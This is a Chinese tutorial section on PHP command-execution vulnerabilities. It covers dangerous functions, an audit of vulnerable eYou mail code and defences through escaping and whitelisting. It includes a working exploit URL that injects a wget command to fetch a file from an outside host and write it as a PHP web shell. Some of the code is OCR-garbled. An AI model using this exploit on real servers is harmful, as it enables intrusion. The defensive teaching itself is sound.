###5.2 命令执行漏洞

简述

代码执行漏洞指的是可以执行脚本代码,而命令执行漏洞指的是可以执行系统或者应用指令(如 CMD 命令或者 bash 命令)的漏洞,命令执行漏洞,主要基于一些函数的参数过滤不严导致,可以执行命令的函数有 systemO、 exec()、shell、exec()、passthru()、pcntl_exec()、popen()、proc_open(),一共七个函数,另外反引号(”)也可以执行命令,不过实际上这种方式也是调用的 shell_exec() 函数。PHP 热行命令是继承 WebServer 用户的权限,这个用户一般都有权限向 web 目录写文件,可见该漏洞的危害性相当大。

了解了危险函数,所以可以直接搜函数名即可进行漏洞挖掘。

具体执行

上面我们说到有七个常用兩数可以执行命令,包括 system()、exec()、 shell()、exec()、 passthru()、 pcntl_exec()、 popen()、proc_open(),另外还有反引号()也一样,可以执行命令,下面来看看它们的执行方式。这些函数里 system()、 exec()、 shell_exec()、 passthru() 以及反引号()是可以直接传入命令并且函数会返回执行结果,比较简单和好理解,其中 system() 函数会直接回显结果打印输出,不需要 echo 也可以,来用代码举例。测试代码如下:

<?php
system("whoami");
?>

popen()、 proc_open() 函数不会直接返回执行结果,而是返回一个文件指针,但命令是已经执行了,主要关心的是这个。下面看看 popen() 的用法,它需要两个参数,一个是执行的命令,另外一个是指针文件的连接模式,有了和代表读和写。
测试代码如下:

<?php
popen('whoami >>D:/2.txt',"r");
?>

执行完成后可以在目录看到2.txt这个文件,内容为当前计算机登录用户名。

上面讲到反引号(`)也可以执行命令,它的写法很简单,实际上反引号(`)执行命令是调用的 shell_exec() 丽数,为什么这么说?我们来看一段简单的代码就知道了,代码如下:

<?php
echo `whoami`;
?>

这段代码正常执行的情况下是会输出当前用户名的,而我们在 php.ini 里面把PHP安全模式打开一下,再重启下mamp重新加载 PHP 配置文件,再执行这段代码的时候,我们会看到下面这个提示:

Warning: shell exec () [function.shell-exec]: Cannot
execute using backquotes in Safe Mode in D:\www\test\1.php on line 2

这个提示说明反引号执行命令的方式是使用的 shell_exec() 函数。

<?php
//-- 获得 UID, DOMAIN, TOKEN
$uid = $ GET['uid'];
//从GET中获取uid参数
Sdomain = $_GET['domain'];//从GET中获取domain参数
Stoken = $_GET['token'];

function getuserDirPath(Suid, $domain)
{
    $end = "/var/eyou/sbin/hashid $uid $domain";
    $path = `$cmd`;
    $path = trim($path);
    return $path;
}

从代码中可以看出,Suid = $_GET[‘uid];表示从GET 中获取 uid 参数,在下面一点将 Suid 变量传递到了 getUserDirPath()函数。

该函数拼接了一条命令:
$cmd = “/var/eyou/sbin/hashid $uid $domain”;
可以看到 $uid 和 $domain 变量都是从 GET 请求中获取的,最终通过反引号(`)来执行,所以我们可以直接注入命令,最终 exp 为:

/swfupload/upload_files.php?uid=|wget+http://www.x.com/1.txt+-O+/var/eyou/apache/htdocs/swfupload/a.php&domain=

表示下载 http:/www.x.com/1.txt 到 /var/eyou/apache/htdocs/swfupload/a.php 文件。

防范

关于命令执行漏洞的防范大致有两种方式:一种是使用 PHP 自带的命令防注人函数,包括 escapeshellcmd() 和 escapeshellarg(),其中escapeshellemd() 是过滤的整条命令,所以它的参数是一整条命令,eseapeshellarg() 函数则是用来保证传人命令执行函数里面的参数确实是以字符串参数形式存在的,不能被注人。除了使用这两个函数,还有对命令执行函数的参数做白名单限制,下面我们来详细介绍。

命令防注入函数

PHP 在 SQL防注入上有addslashes() 和 mysql_[real_]escape_string() 等函数过滤 SQL语句,在命令上也同样有防注入函数,一共有两个 escapeshellemd() 和 escapeshellarg(),从两数名我们可以看出,escapeshellcmd() 是过滤的整条命令,它的函数说明如下:

string escapeshellcmd (string $command)

输入一个 string 类型的参数,为要过滤的命令,返回过滤后的 string 类型的命令,过滤的字符为’&’、’;’、’`’、’*’、’?’、’~’、’<’、’>’、’^’、’(‘、’)’、’[‘、’]’、’{‘、’}’、’$’、’'、’\x0A’、’xFF’、’%’,’和” 仅仅在不成对的时候被转义,我们在 Windows 环境测试下,测试代码:

可以看到这些字符过滤方式是在这些字符前面加了一个^符号,而在 Linux下则是在这些字符前面加了反斜杠(\)。

参数白名单

参数白名单方式在大多数由于参数过滤不严产生的漏洞中都很好用,是一种通用修复方法,我们之前已经讲过,可以在代码中或者配置文件中限定某些参数,在使用的时候匹配一下这个参数在不在这个白名单列表中,如果不在,则直接显示错误提示即可,具体的实施代码这里不再重复。

作者:天下兵马大都督  创建时间:2022-05-19 09:36
最后编辑:Parad0x  更新时间:2023-04-12 16:17